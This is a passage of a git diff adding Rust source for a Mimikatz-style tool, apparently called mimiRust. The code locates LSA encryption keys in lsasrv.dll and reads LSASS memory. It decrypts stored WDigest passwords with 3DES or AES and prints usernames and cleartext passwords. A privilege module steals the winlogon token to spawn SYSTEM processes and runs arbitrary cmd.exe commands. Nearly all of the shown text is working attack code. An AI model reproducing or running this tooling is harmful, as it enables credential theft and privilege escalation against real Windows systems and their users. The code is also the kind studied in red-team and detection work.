return Ok(format!("{}", productname)); +} + +//We get this flag so it's easier (since some OS's have the same flags) +fn get_os_flag() -> usize { + if let Ok(os) = get_os_version() { + if os.contains("10") || os.contains("2016") || os.contains("2019") { + return 3; + } else if os.contains("7") || os.contains("2008 RS") { + return 1; + } else if os.contains("Vista") || os.contains("2008") { + return 1; + } else if os.contains("8") || os.contains("2012") { + return 2; + } else { + return 0; + } + } + return 0; +} + +fn load_dll_into_process(name: &str) -> String { + unsafe { + let wide_filename: Vec = OsStr::new(name).encode_wide().chain(Some(0)).collect(); + + let dll_load = LoadLibraryW(wide_filename.as_ptr()); + if dll_load != null_mut() { + let handle_current = get_current_process_handle(); + + let current_process_dlls = get_process_dlls(handle_current); + let process_dll_results: Vec<&str> = current_process_dlls.split("\n").collect(); + + for dll in process_dll_results { + if dll.contains(name) { + let process_information: Vec<&str> = dll.split(":::").collect(); + println!("\n[+] Locally loaded {} at: {}", name, process_information[1]); + return format!("[+] loaded {}:::{}", name, dll_load as usize); + } + } + } else { + return format!("[-] Found error: {}", Error::last_os_error()); + } + + return format!("[-] Unable to find {} in current process", name); + } +} + +fn find_credentials(lsass_handle: HANDLE) -> Result { + let result = load_dll_into_process("wdigest.dll"); + if result.contains("[-]") { + println!("{}", result); + } + + let handle_current = get_current_process_handle(); + + let wdigest_location: Vec<&str> = result.split(":::").collect(); + let log_sess_list_sig_offset = search_pattern(to_usize_from_string(wdigest_location[1]), LOG_SESS_LIST_SIGNATURE.as_ptr() as usize, LOG_SESS_LIST_SIGNATURE.len(), &LOG_SESS_LIST_SIGNATURE, handle_current); + if log_sess_list_sig_offset == 0 { + println!("[-] Unable to get the offset for l_LogSessList"); + return Err(anyhow!("{}", false)); + } + println!("[+] Found offset to l_LogSessList at: {}\n", (log_sess_list_sig_offset as usize)); + + let log_sess_list_offset = get_win_offset(handle_current, to_usize_from_string(wdigest_location[1]) + log_sess_list_sig_offset - 4 ,4); + let log_sess_list_addr = get_log_sess_list_addr(lsass_handle, to_usize_from_string(wdigest_location[1]) + log_sess_list_sig_offset + log_sess_list_offset); + + unsafe { + let mut entry = RustWDigest { + flink: std::mem::zeroed(), + blink: std::mem::zeroed(), + usagecount: std::mem::zeroed(), + this: std::mem::zeroed(), + locally_unique_identifier: std::mem::zeroed(), + username: std::mem::zeroed(), + domain: std::mem::zeroed(), + password: std::mem::zeroed() + }; + + read_from_lsass(lsass_handle, log_sess_list_addr as usize, &mut any_as_u8_slice(&mut entry), 88); + + let ll_current: &[u8] = &mut any_as_u8_slice(&mut entry.this).to_owned(); + + libc::memset(any_as_u8_slice(&mut entry) as *mut _ as *mut core::ffi::c_void, 0, 88); + read_from_lsass(lsass_handle, byteorder::LittleEndian::read_u64(&ll_current) as usize, &mut any_as_u8_slice(&mut entry), 88); + + if entry.usagecount == 1 { + let username = extract_unicode_string(lsass_handle, byteorder::LittleEndian::read_u64(&ll_current) as usize + USERNAME_OFFSET as usize); + let hostname = extract_unicode_string(lsass_handle, byteorder::LittleEndian::read_u64(&ll_current) as usize + HOSTNAME_OFFSET as usize); + let mut password = extract_unicode_string(lsass_handle, byteorder::LittleEndian::read_u64(&ll_current) as usize + PASSWORD_OFFSET as usize); + + if username.length != 0 { + println!("[-->] Username: {}", bytes_to_string(&username.buffer)); + } else { + println!("[-->] Username: [NULL]"); + } + + if hostname.length != 0 { + println!("[-->] Hostname: {}", bytes_to_string(&hostname.buffer)); + } else { + println!("[-->] Hostname: [NULL]"); + } + + if password.length != 0 && (password.length % 2) == 0 { + let mut buffer = [0; 32]; + decrypt_credentials(&mut password.buffer, password.maximum_length as u32, &mut buffer, 32); + println!("[-->] Password: {}", bytes_to_string(&buffer)); + } else { + println!("[-->] Password: [NULL]"); + } + } + } + + return Ok(true); +} + +fn get_log_sess_list_addr(handle: HANDLE, address: usize) -> u64 { + let mut buffer = [0; 8]; + if let Ok(_) = read_memory_bytes(handle, address, &mut buffer, 8) { + } + return u64::from_le_bytes(buffer); +} + +fn decrypt_credentials(encrypted_pass: &mut [u8], encrypted_pass_len: DWORD, decrypted_pass: &mut [u8], decrypted_pass_len: ULONG) { + unsafe { + let mut h_aes_provider: BCRYPT_ALG_HANDLE = std::mem::zeroed(); + let mut h_des_provider: BCRYPT_ALG_HANDLE = std::mem::zeroed(); + + let mut h_aes: BCRYPT_KEY_HANDLE = std::mem::zeroed(); + let mut h_des: BCRYPT_KEY_HANDLE = std::mem::zeroed(); + + let mut result: ULONG = std::mem::zeroed(); + + let mut initialization_vector: [u8; 16] = WIN_G_INITIALIZATION_VECTOR; + + if encrypted_pass_len % 8 == 0 { + // If suited to 3DES + println!("[-->] 3DES"); + BCryptOpenAlgorithmProvider(&mut h_des_provider, to_wchar(BCRYPT_3DES_ALGORITHM).as_mut_ptr(), to_wchar(MS_PRIMITIVE_PROVIDER).as_mut_ptr(), 0); + BCryptSetProperty(h_des_provider, to_wchar(BCRYPT_CHAINING_MODE).as_mut_ptr(), to_wchar(BCRYPT_CHAIN_MODE_CBC).as_mut_ptr() as PBYTE, 24, 0); + BCryptGenerateSymmetricKey(h_des_provider, &mut h_des, 0 as *mut u8, 0, WIN_G_DES_KEY.as_ptr() as *mut u8, WIN_G_DES_KEY.len() as u32, 0); + BCryptDecrypt(h_des, encrypted_pass as *const _ as PUCHAR, encrypted_pass_len, 0 as *mut winapi::ctypes::c_void, initialization_vector.as_mut_ptr(), 8, decrypted_pass.as_mut_ptr(), decrypted_pass_len, &mut result, 0); + } else { + // If suited to AES + println!("[-->] AES"); + BCryptOpenAlgorithmProvider(&mut h_aes_provider, to_wchar(BCRYPT_AES_ALGORITHM).as_mut_ptr(), to_wchar(MS_PRIMITIVE_PROVIDER).as_mut_ptr(), 0); + BCryptSetProperty(h_aes_provider, to_wchar(BCRYPT_CHAINING_MODE).as_mut_ptr(), to_wchar(BCRYPT_CHAIN_MODE_CFB).as_mut_ptr() as PBYTE, 32, 0); + BCryptGenerateSymmetricKey(h_aes_provider, &mut h_aes, 0 as *mut u8, 0, WIN_G_AESKEY.as_ptr() as *mut u8, WIN_G_AESKEY.len() as u32, 0); + BCryptDecrypt(h_aes, encrypted_pass as *const _ as PUCHAR, encrypted_pass_len, 0 as *mut winapi::ctypes::c_void, initialization_vector.as_mut_ptr(), initialization_vector.len() as u32, decrypted_pass.as_mut_ptr(), decrypted_pass_len, &mut result, 0); + } + } +} + +fn to_wchar(str : &str) -> Vec { + OsStr::new(str).encode_wide(). chain(Some(0).into_iter()).collect() +} + +fn bytes_to_string(input: &[u8]) -> String { + match std::str::from_utf8(&input) { + Ok(string) => return string.replace("\u{0}", "").to_string(), + Err(_) => return format!("Failed to decode string"), + }; +} + +fn extract_unicode_string(lsass_handle: HANDLE, addr: usize) -> Unicode { + unsafe { + let mut string = Unicode{ + length: std::mem::zeroed(), + maximum_length: std::mem::zeroed(), + buffer: std::mem::zeroed(), + }; + + read_from_lsass(lsass_handle, addr as usize, &mut any_as_u8_slice(&mut string), 16); + + let mut buffer = [0; 32]; + read_from_lsass(lsass_handle, (*((any_as_u8_slice(&mut string) as *const _ as *const std::os::raw::c_char as usize + 8) as *mut *mut std::ffi::c_void)) as usize, &mut buffer ,(string).maximum_length as usize); + + (string.buffer) = buffer; + return string; + } +} + +fn find_keys_on_win7(lsass_handle: HANDLE) -> Result { + unsafe { + let iv_offset = 59; + let _des_offset_memory = -61; + let aes_offset = 25; + + let result = load_dll_into_process("lsasrv.dll"); + if result.contains("[-]") { + return Err(anyhow!("{}", false)); + } + + let memory: Vec<&str> = result.split(":::").collect(); + let dll_memory_start = to_usize_from_string(memory[1]); + + let handle_current = get_current_process_handle(); + + let key_sig_offset = search_pattern(dll_memory_start, WIN7_LSAINITIALIZE_PROTECT_MEMORY_KEY.as_ptr() as usize, WIN7_LSAINITIALIZE_PROTECT_MEMORY_KEY.len(), &WIN7_LSAINITIALIZE_PROTECT_MEMORY_KEY, handle_current); + if key_sig_offset == 0 { + println!("[-] Unable to get the offset for AES/3Des/IV keys"); + return Err(anyhow!("{}", false)); + } + println!("\n[+] Found offset to AES/3Des/IV at: {}", (key_sig_offset as usize)); + + let win_iv_offset = get_win_offset(handle_current, dll_memory_start + key_sig_offset + iv_offset, 4); + println!("[+] InitializationVector offset found as {}\n", win_iv_offset); + + get_win_iv_contents(lsass_handle, dll_memory_start + key_sig_offset + iv_offset + 4 + win_iv_offset); + println!("[+] InitializationVector recovered as:"); + println!("[*] ====[ Start ]==== [*] "); + println!("[*] {:?}", WIN_G_INITIALIZATION_VECTOR); + println!("[*] ====[ Final ]==== [*]"); + + let win_des_offset = get_win_offset(handle_current, add(dll_memory_start + key_sig_offset, _des_offset_memory).unwrap(), 4); + println!("\n[+] h3DesKey offset found as: {}\n", win_des_offset); + + let mut buffer = [0;8]; + read_memory_bytes(lsass_handle, add(dll_memory_start + key_sig_offset + 4 + win_des_offset, _des_offset_memory).unwrap(), &mut buffer, 8)?; + let key_pointer = u64::from_le_bytes(buffer); + + get_win_deskey_contents(lsass_handle, key_pointer as usize, true); + println!("[+] 3Des Key recovered as:"); + println!("[*] ====[ Start ]==== [*] "); + println!("[*] {:?}", WIN_G_DES_KEY); + println!("[*] ====[ Final ]==== [*]"); + + let win_aes_offset = get_win_offset(handle_current, dll_memory_start + key_sig_offset + aes_offset, 4); + println!("\n[+] hAesKey offset found as: {}\n", win_aes_offset); + + let mut aes_buffer = [0; 8]; + read_memory_bytes(lsass_handle, dll_memory_start + key_sig_offset + aes_offset + 4 + win_aes_offset, &mut aes_buffer, 8)?; + let key_pointer = u64::from_le_bytes(aes_buffer); + + get_win_aeskey_contents(lsass_handle, key_pointer as usize, true); + println!("[+] AES Key recovered as:"); + println!("[*] ====[ Start ]==== [*] "); + println!("[*] {:?}", WIN_G_AESKEY); + println!("[*] ====[ Final ]==== [*]"); + + Ok(true) + } +} + +fn find_keys_on_win8(lsass_handle: HANDLE) -> Result { + unsafe { + let result = load_dll_into_process("lsasrv.dll"); + if result.contains("[-]") { + return Err(anyhow!("{}", false)); + } + + let memory: Vec<&str> = result.split(":::").collect(); + let dll_memory_start = to_usize_from_string(memory[1]); + + let _iv_offset_memory = 62 as usize; + let _des_offset_memory = -70; + let _aes_offset_memory = 23 as usize; + + let handle_current = get_current_process_handle(); + + let key_sig_offset = search_pattern(dll_memory_start, WIN8_LSAINITIALIZE_PROTECT_MEMORY_KEY.as_ptr() as usize, WIN8_LSAINITIALIZE_PROTECT_MEMORY_KEY.len(), &WIN8_LSAINITIALIZE_PROTECT_MEMORY_KEY, handle_current); + if key_sig_offset == 0 { + println!("[-] Unable to get the offset for AES/3Des/IV keys"); + return Err(anyhow!("{}", false)); + } + println!("\n[+] Found offset to AES/3Des/IV at: {}", (key_sig_offset as usize)); + + let win_iv_offset = get_win_offset(handle_current, dll_memory_start + key_sig_offset + _iv_offset_memory, 4); + println!("[+] InitializationVector offset found as {}\n", win_iv_offset); + + get_win_iv_contents(lsass_handle, dll_memory_start + key_sig_offset + _iv_offset_memory + 4 + win_iv_offset); + println!("[+] InitializationVector recovered as:"); + println!("[*] ====[ Start ]==== [*] "); + println!("[*] {:?}", WIN_G_INITIALIZATION_VECTOR); + println!("[*] ====[ Final ]==== [*]"); + + let win10_des_offset = get_win_offset(handle_current, add(dll_memory_start + key_sig_offset, _des_offset_memory).unwrap(), 4); + println!("\n[+] h3DesKey offset found as: {}\n", win10_des_offset); + + let mut buffer = [0; 8]; + read_memory_bytes(lsass_handle, add(dll_memory_start + key_sig_offset + 4 + win10_des_offset, _des_offset_memory).unwrap(), &mut buffer, 8)?; + let key_pointer = u64::from_le_bytes(buffer); + + get_win_deskey_contents(lsass_handle, key_pointer as usize, true); + println!("[+] 3Des Key recovered as:"); + println!("[*] ====[ Start ]==== [*] "); + println!("[*] {:?}", WIN_G_DES_KEY); + println!("[*] ====[ Final ]==== [*]"); + + let win10_aes_offset = get_win_offset(handle_current, dll_memory_start + key_sig_offset + _aes_offset_memory, 4); + println!("\n[+] hAesKey offset found as: {}\n", win10_aes_offset); + + let mut aes_buffer = [0; 8]; + read_memory_bytes(lsass_handle, dll_memory_start + key_sig_offset + _aes_offset_memory + 4 + win10_aes_offset, &mut aes_buffer, 8)?; + let key_pointer = u64::from_le_bytes(aes_buffer); + + get_win_aeskey_contents(lsass_handle, key_pointer as usize, true); + println!("[+] AES Key recovered as:"); + println!("[*] ====[ Start ]==== [*] "); + println!("[*] {:?}", WIN_G_AESKEY); + println!("[*] ====[ Final ]==== [*]"); + + Ok(true) + } +} + +#[allow(overflowing_literals)] +fn find_keys_on_win10(lsass_handle: HANDLE) -> Result { + unsafe { + let result = load_dll_into_process("lsasrv.dll"); + if result.contains("[-]") { + return Err(anyhow!("{}", false)); + } + + let memory: Vec<&str> = result.split(":::").collect(); + let dll_memory_start = to_usize_from_string(memory[1]); + + let _iv_offset_memory = 61 as usize; + let _des_offset_memory = -73; + let _aes_offset_memory = 16 as usize; + + let handle_current = get_current_process_handle(); + + let key_sig_offset = search_pattern(dll_memory_start, WIN10_LSAINITIALIZE_PROTECT_MEMORY_KEY.as_ptr() as usize, WIN10_LSAINITIALIZE_PROTECT_MEMORY_KEY.len(), &WIN10_LSAINITIALIZE_PROTECT_MEMORY_KEY, handle_current); + if key_sig_offset == 0 { + println!("[-] Unable to get the offset for AES/3Des/IV keys"); + return Err(anyhow!("{}", false)); + } + println!("\n[+] Found offset to AES/3Des/IV at: {}", (key_sig_offset as usize)); + + let win_iv_offset = get_win_offset(handle_current, dll_memory_start + key_sig_offset + _iv_offset_memory, 4); + println!("[+] InitializationVector offset found as {}\n", win_iv_offset); + + get_win_iv_contents(lsass_handle, dll_memory_start + key_sig_offset + _iv_offset_memory + 4 + win_iv_offset); + println!("[+] InitializationVector recovered as:"); + println!("[*] ====[ Start ]==== [*] "); + println!("[*] {:?}", WIN_G_INITIALIZATION_VECTOR); + println!("[*] ====[ Final ]==== [*]"); + + let win10_des_offset = get_win_offset(handle_current, add(dll_memory_start + key_sig_offset, _des_offset_memory).unwrap(), 4); + println!("\n[+] h3DesKey offset found as: {}\n", win10_des_offset); + + let mut buffer = [0; 8]; + read_memory_bytes(lsass_handle, add(dll_memory_start + key_sig_offset + 4 + win10_des_offset, _des_offset_memory).unwrap(), &mut buffer, 8)?; + let key_pointer = u64::from_le_bytes(buffer); + + get_win_deskey_contents(lsass_handle, key_pointer as usize, false); + println!("[+] 3Des Key recovered as:"); + println!("[*] ====[ Start ]==== [*] "); + println!("[*] {:?}", WIN_G_DES_KEY); + println!("[*] ====[ Final ]==== [*]"); + + let win10_aes_offset = get_win_offset(handle_current, dll_memory_start + key_sig_offset + _aes_offset_memory, 4); + println!("\n[+] hAesKey offset found as: {}\n", win10_aes_offset); + + let mut aes_buffer = [0; 8]; + read_memory_bytes(lsass_handle, dll_memory_start + key_sig_offset + _aes_offset_memory + 4 + win10_aes_offset, &mut aes_buffer, 8)?; + let key_pointer = u64::from_le_bytes(aes_buffer); + + get_win_aeskey_contents(lsass_handle, key_pointer as usize, false); + println!("[+] AES Key recovered as:"); + println!("[*] ====[ Start ]==== [*] "); + println!("[*] {:?}", WIN_G_AESKEY); + println!("[*] ====[ Final ]==== [*]"); + + Ok(true) + } +} + +fn get_win_deskey_contents(lsass_handle: HANDLE, key_pointer: usize, win7: bool) { + unsafe { + if win7 { + let mut h3_des_key_struct: RustBcryptHandleKey = std::mem::zeroed(); + let mut extracted3_des_key: RustBcryptKey = std::mem::zeroed(); + + read_from_lsass(lsass_handle, key_pointer as usize, &mut any_as_u8_slice(&mut h3_des_key_struct), 32); + let bytes: &[u8] = any_as_u8_slice(&mut h3_des_key_struct.key); + + read_from_lsass(lsass_handle, byteorder::LittleEndian::read_u64(&bytes) as usize ,&mut any_as_u8_slice(&mut extracted3_des_key), 88); + + if extracted3_des_key.hardkey.cbsecret == 24 { + for i in 0..extracted3_des_key.hardkey.cbsecret { + WIN_G_DES_KEY[i as usize] = extracted3_des_key.hardkey.data[i as usize]; + } + } + } else { + let mut h3_des_key_struct: RustBcryptHandleKey = std::mem::zeroed(); + let mut extracted3_des_key: RustBcryptKey81 = std::mem::zeroed(); + + read_from_lsass(lsass_handle, key_pointer as usize, &mut any_as_u8_slice(&mut h3_des_key_struct), 32); + let bytes: &[u8] = any_as_u8_slice(&mut h3_des_key_struct.key); + + read_from_lsass(lsass_handle, byteorder::LittleEndian::read_u64(&bytes) as usize ,&mut any_as_u8_slice(&mut extracted3_des_key), 88); + + if extracted3_des_key.hardkey.cbsecret == 24 { + for i in 0..extracted3_des_key.hardkey.cbsecret { + WIN_G_DES_KEY[i as usize] = extracted3_des_key.hardkey.data[i as usize]; + } + } + } + } +} + +fn get_win_aeskey_contents(handle: HANDLE, key_pointer: usize, win7: bool) { + unsafe { + if win7 { + let mut h_aes_key_struct: RustBcryptHandleKey = std::mem::zeroed(); + let mut extracted_aes_key: RustBcryptKey = std::mem::zeroed(); + + read_from_lsass(handle, key_pointer, &mut any_as_u8_slice(&mut h_aes_key_struct), 32); + let bytes: &[u8] = any_as_u8_slice(&mut h_aes_key_struct.key); + + read_from_lsass(handle, byteorder::LittleEndian::read_u64(&bytes) as usize ,&mut any_as_u8_slice(&mut extracted_aes_key), 88); + + if extracted_aes_key.hardkey.cbsecret == 16 { + for i in 0..extracted_aes_key.hardkey.cbsecret { + WIN_G_AESKEY[i as usize] = extracted_aes_key.hardkey.data[i as usize]; + } + } + } else { + let mut h_aes_key_struct: RustBcryptHandleKey = std::mem::zeroed(); + let mut extracted_aes_key: RustBcryptKey81 = std::mem::zeroed(); + + read_from_lsass(handle, key_pointer, &mut any_as_u8_slice(&mut h_aes_key_struct), 32); + let bytes: &[u8] = any_as_u8_slice(&mut h_aes_key_struct.key); + + read_from_lsass(handle, byteorder::LittleEndian::read_u64(&bytes) as usize ,&mut any_as_u8_slice(&mut extracted_aes_key), 88); + + if extracted_aes_key.hardkey.cbsecret == 16 { + for i in 0..extracted_aes_key.hardkey.cbsecret { + WIN_G_AESKEY[i as usize] = extracted_aes_key.hardkey.data[i as usize]; + } + } + } + } +} + +unsafe fn any_as_u8_slice(p: &mut T) -> &mut [u8] { + ::std::slice::from_raw_parts_mut( + (p as *mut T) as *mut u8, + ::std::mem::size_of::(), + ) +} + +fn get_win_iv_contents(handle: HANDLE, address: usize) { + let address = format!("{:#X}", address).replace("0x", ""); + let usize_address = address_to_usize(&address); + + unsafe {read_from_lsass(handle, usize_address, &mut WIN_G_INITIALIZATION_VECTOR, 16)}; +} + +fn read_from_lsass(lsass_handle: HANDLE, address: usize, mut buffer: &mut [u8], mem_len: usize) { + if let Ok(_result) = read_memory(lsass_handle as *mut core::ffi::c_void, address, &mut buffer, mem_len) { + } +} + +fn read_memory_bytes(handle: HANDLE, address: usize, mem_out: &mut [u8], mem_out_len: usize) -> Result { + unsafe { + let bytes_read = std::mem::zeroed(); + + if kernel32::ReadProcessMemory( + handle as *mut libc::c_void, + address as *mut core::ffi::c_void, + mem_out.as_mut_ptr() as *mut core::ffi::c_void, + mem_out_len.try_into().unwrap(), + bytes_read, + ) == 0 { + return Ok(bytes_read as usize) + } + return Ok(bytes_read as usize) + } +} + +fn get_current_process_handle() -> HANDLE { + if let Ok(handle) = get_process_handle(to_u32(&format!("{}", process::id()))) { + return handle; + } else { + return null_mut(); + }; +} + +fn read_memory(handle_process: *mut core::ffi::c_void, address: usize, mem_out: &mut [u8], mem_out_len: usize) -> Result { + unsafe { + let reading = kernel32::ReadProcessMemory(handle_process as *mut core::ffi::c_void, address as *mut core::ffi::c_void, mem_out.as_mut_ptr() as *mut core::ffi::c_void, mem_out_len.try_into().unwrap(), null_mut()); + if reading == 0 { + Err(Error::last_os_error()) + } else { + Ok(reading) + } + } +} + +fn add(u: usize, i: i32) -> Option { + if i.is_negative() { + u.checked_sub(i.wrapping_abs() as u32 as usize) + } else { + u.checked_add(i as usize) + } +} + +fn read_offset(handle_process: HANDLE, address: usize, mem_out: &mut [u8], mem_out_len: usize) { + unsafe { + libc::memset(mem_out.as_mut_ptr() as *mut core::ffi::c_void, 0, mem_out_len); + ReadProcessMemory(handle_process, address as LPVOID, mem_out.as_mut_ptr() as LPVOID, mem_out_len, null_mut()); + } +} + +fn address_to_usize(input: &str) -> usize { + match usize::from_str_radix(&input.replace("0x", "").to_lowercase(), 16) { + Ok(usize_address) => return usize_address, + Err(_) => return 0, + }; +} + +fn to_usize_from_string(input: &str) -> usize { + let _output = match input.to_string().parse::() { + Ok(_output) => return _output, + Err(_) => return 0, + }; +} + +fn get_single_byte(process: HANDLE, addr: usize) -> u8 { + let result = match read_memory_single_byte(process, addr) { + Ok(mut result) => result.remove(0), + Err(_e) => { + 0_u8 + }, + }; + + return result; +} + +fn read_memory_single_byte(process_handle: HANDLE, addr: usize) -> Result, Error> { + let mut buffer = Vec::new(); + unsafe { + for _i in 1..3 { + let res = ReadProcessMemory(process_handle, addr as LPVOID, buffer.as_mut_ptr() as LPVOID, buffer.len(), null_mut()); + if res == FALSE { + continue; + } else { + buffer.push(res as u8); + } + } + return Ok(buffer) + } +} + +fn get_win_offset(handle_lsass: HANDLE, address: usize, mem_len: usize) -> usize { + let mut buffer = [0; 4]; + read_offset(handle_lsass, address, &mut buffer, mem_len); + return u32::from_le_bytes(buffer) as usize; +} + +fn get_process_dlls(process_handle: HANDLE) -> String { + unsafe { + let sizeof_hmodule = std::mem::size_of::(); + + let mut modules = { + let mut bytes_needed: DWORD = 0; + let enum_process_modules = EnumProcessModulesEx(process_handle, null_mut(), 0, &mut bytes_needed, 0x03); + if enum_process_modules != FALSE { + let num_entries_needed = bytes_needed as usize / sizeof_hmodule; + let mut modules = Vec::::with_capacity(num_entries_needed); + modules.resize(num_entries_needed, null_mut()); + modules + } else { + return format!("{}", Error::last_os_error()); + } + }; + + let mut bytes_fetched: DWORD = 0; + let enum_dlls_process = EnumProcessModulesEx(process_handle, modules.as_mut_ptr(), (modules.len() * sizeof_hmodule) as u32, &mut bytes_fetched, 0x03); + if enum_dlls_process != FALSE { + let num_entries_fetched = bytes_fetched as usize / sizeof_hmodule; + modules.resize(num_entries_fetched, null_mut()); + let mut dll_names = String::new(); + + for module in modules { + const BUF_SIZE: usize = 1024; + let mut buf = [0i8; BUF_SIZE]; + + let dll_name = GetModuleFileNameExA(process_handle, module, buf.as_mut_ptr(), BUF_SIZE as u32); + if dll_name != 0 { + + let buffer = std::mem::transmute::<[i8; 1024], [u8; 1024]>(buf); + + let buffer_handled = match std::str::from_utf8(&buffer) { + Ok(buffer_handled) => buffer_handled, + Err(_) => continue, + }; + + dll_names.push_str(&format!("{}:::{}\n", buffer_handled, format!("{:?}", module).replace("0x", "0000").to_uppercase()).to_owned()); + + } else { + return format!("{}", Error::last_os_error()); + } + } + + return dll_names; + } else { + return format!("{}", Error::last_os_error()); + } + } +} + +fn search_pattern(memory_location: usize, signature_location: usize, signaturelen: usize, signature: &[u8], process_handle: HANDLE) -> usize { + unsafe { + let signature_0 = get_single_byte(process_handle, signature_location); //Gets the first byte of the signature + let signature_1 = get_single_byte(process_handle, signature_location + 1); //Gets the second byte of the signature + + for i in 0..2097152 { // Seach in lsasrv.dll space + let first_byte = get_single_byte(process_handle, memory_location + i); //Gets the first byte of the DLL with increments of the DLL byte size + let second_byte = get_single_byte(process_handle, memory_location + i + 1); //Adds one upon the first byte to see if the second signature can be found. + + if first_byte == signature_0 && second_byte == signature_1 { + let mem_loc = memsec::memcmp((memory_location + i) as *const u8, signature.as_ptr(), signaturelen); + if mem_loc == 0 { + return i as usize; + } + } + } + } + return 0; // return 0 if keys could not be extracted. +} diff --git a/memN0ps/mimiRust/src/privilege/mod.rs b/memN0ps/mimiRust/src/privilege/mod.rs new file mode 100644 index 0000000..55d456d --- /dev/null +++ b/memN0ps/mimiRust/src/privilege/mod.rs @@ -0,0 +1,176 @@ + +use crate::utilities::Utils; + +use winapi::um::winbase::{ + LOGON_NETCREDENTIALS_ONLY, + CreateProcessWithTokenW +}; + +use winapi::um::processthreadsapi::{ + OpenProcessToken, + OpenProcess, + PROCESS_INFORMATION, + STARTUPINFOW +}; + +use winapi::um::securitybaseapi::DuplicateTokenEx; + +use winapi::um::winbase::CREATE_NEW_CONSOLE; + +use winapi::um::tlhelp32::{ + CreateToolhelp32Snapshot, + TH32CS_SNAPTHREAD, + TH32CS_SNAPPROCESS, + Process32First, + Process32Next, +}; + +use winapi::um::winnt::{ + PROCESS_QUERY_INFORMATION, + TOKEN_QUERY, TOKEN_IMPERSONATE, + TOKEN_DUPLICATE, + TOKEN_ASSIGN_PRIMARY, + HANDLE, + SecurityImpersonation, + SECURITY_IMPERSONATION_LEVEL, + TokenPrimary, + TOKEN_TYPE, + MAXIMUM_ALLOWED, +}; + +use winapi::shared::minwindef::TRUE; + +use winapi::um::minwinbase::SECURITY_ATTRIBUTES; +use winapi::shared::ntdef::NULL; + +use anyhow::{ + anyhow, + Result +}; + +use std::process::Command; + +use std::io::Error; + +use std::ffi::OsStr; +use std::os::windows::ffi::OsStrExt; + +pub struct Escalation; + +impl Escalation { + pub fn get_system(process_path: String) -> Result<()> { + if Utils::is_elevated() { + let (boolean, _result) = Utils::enable_debug_privilege(); + if boolean { + if spawn_shell(process_path.clone()) { + println!("[+] {} started with SYSTEM permissions", process_path); + } else { + println!("[-] Failed to start process with SYSTEM permissions encountered error: {}", Error::last_os_error()); + } + } + } else { + println!("[-] Program requires atleast administrative permissions"); + } + Ok(()) + } + + pub fn execute_shell(args: Vec) -> Result<()> { + let mut arguments: Vec<&str> = vec![]; + arguments.push("/C"); + + for arg in &args[1..] { + arguments.push(arg); + } + + let output = Command::new("cmd.exe") + .args(arguments) + .output() + .expect("failed to execute process"); + + if format!("{}", output.status) == "exit code: 0" { + if output.stdout.len() > 0 { + println!("{}", std::str::from_utf8(&output.stdout)?); + } else { + println!("No output"); + } + } else { + println!("{}", std::str::from_utf8(&output.stderr)?); + } + Ok(()) + } +} + +fn spawn_shell(process_path: String) -> bool { + unsafe { + let mut si: STARTUPINFOW = std::mem::zeroed(); + let mut pi: PROCESS_INFORMATION = std::mem::zeroed(); + + if let Ok(p_new_token) = set_access_token() { + if CreateProcessWithTokenW(p_new_token, LOGON_NETCREDENTIALS_ONLY, to_wchar(&process_path).as_mut_ptr(), NULL as *mut u16, CREATE_NEW_CONSOLE, NULL, NULL as *const u16, &mut si, &mut pi) != 0 { + return true; + } + } + return false; + } +} + +fn to_wchar(str : &str) -> Vec { + OsStr::new(str).encode_wide(). chain(Some(0).into_iter()).collect() +} + + +fn get_winlogon_pid() -> String { + unsafe { + let snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0); + let mut entry: winapi::um::tlhelp32::PROCESSENTRY32 = std::mem::zeroed(); + entry.dwSize = std::mem::size_of::() as u32; + + if snapshot != 0 as *mut winapi::ctypes::c_void { + let first_process = Process32First(snapshot as *mut winapi::ctypes::c_void, &mut entry); + if first_process != 0 { + while Process32Next(snapshot as *mut winapi::ctypes::c_void, &mut entry) != 0 { + let u8slice : &[u8] = std::slice::from_raw_parts(entry.szExeFile.as_ptr() as *const u8, entry.szExeFile.len()); + if format!("{:?}", std::string::String::from_utf8_lossy(&u8slice)).contains("winlogon") { + return entry.th32ProcessID.to_string(); + } + } + } + } + return "failed".to_string(); + } +} + +fn set_access_token() -> Result { + unsafe { + if let Ok(p_token) = get_access_token(get_winlogon_pid().parse::()?) { + let se_impersonate_level: SECURITY_IMPERSONATION_LEVEL = SecurityImpersonation; + let token_type: TOKEN_TYPE = TokenPrimary; + let mut p_new_token: HANDLE = std::mem::zeroed(); + + if DuplicateTokenEx(p_token, MAXIMUM_ALLOWED, NULL as *mut SECURITY_ATTRIBUTES, se_impersonate_level, token_type, &mut p_new_token) != 0 { + return Ok(p_new_token); + } else { + return Err(anyhow!(format!("Failed to return duplicate token"))); + } + } else { + return Err(anyhow!(format!("Failed to get access token"))); + } + } +} + +fn get_access_token(pid: u32) -> Result { + unsafe { + let mut token: HANDLE = std::mem::zeroed(); + + let current_process = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pid); + if current_process != NULL { + if OpenProcessToken(current_process, TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY, &mut token) != 0 { + return Ok(token); + } else { + return Err(anyhow!(format!("Failed to return remote process token"))); + } + } else { + return Err(anyhow!(format!("Failed to OpenProcess"))); + } + } +} \ No newline at end of file diff --git a/memN0ps/mimiRust/src/utilities/mod.rs b/memN0ps/mimiRust/src/utilities/mod.rs new file mode 100644 index 0000000..2bc4189 --- /dev/null +++ b/memN0ps/mimiRust/src/utilities/mod.rs @@ -0,0 +1,159 @@ + +use winapi::um::winbase::{ + LookupPrivilegeValueW, +}; + +use winapi::um::processthreadsapi::{ + OpenProcessToken, + GetCurrentProcess, +}; + +use winapi::um::securitybaseapi::{ + AdjustTokenPrivileges, + GetTokenInformation, +}; + +use winapi::um::handleapi::CloseHandle; + +use winapi::um::winnt::{ + TOKEN_ADJUST_PRIVILEGES, + SE_PRIVILEGE_ENABLED, + TOKEN_PRIVILEGES, + TOKEN_QUERY, + HANDLE, + TOKEN_ELEVATION, + TokenElevation, +}; + +use winapi::shared::minwindef::FALSE; + +use std::io::Error; +use std::ptr::null_mut; + +use std::io::{ + stdin, + stdout, + Write +}; + +const SE_DEBUG_NAME: [u16 ; 17] = [83u16, 101, 68, 101, 98, 117, 103, 80, 114, 105, 118, 105, 108, 101, 103, 101, 0]; + +pub struct Utils; + +impl Utils { + pub fn enable_debug_privilege() -> (bool, String) { + unsafe { + let mut token = null_mut(); + let mut privilege: TOKEN_PRIVILEGES = 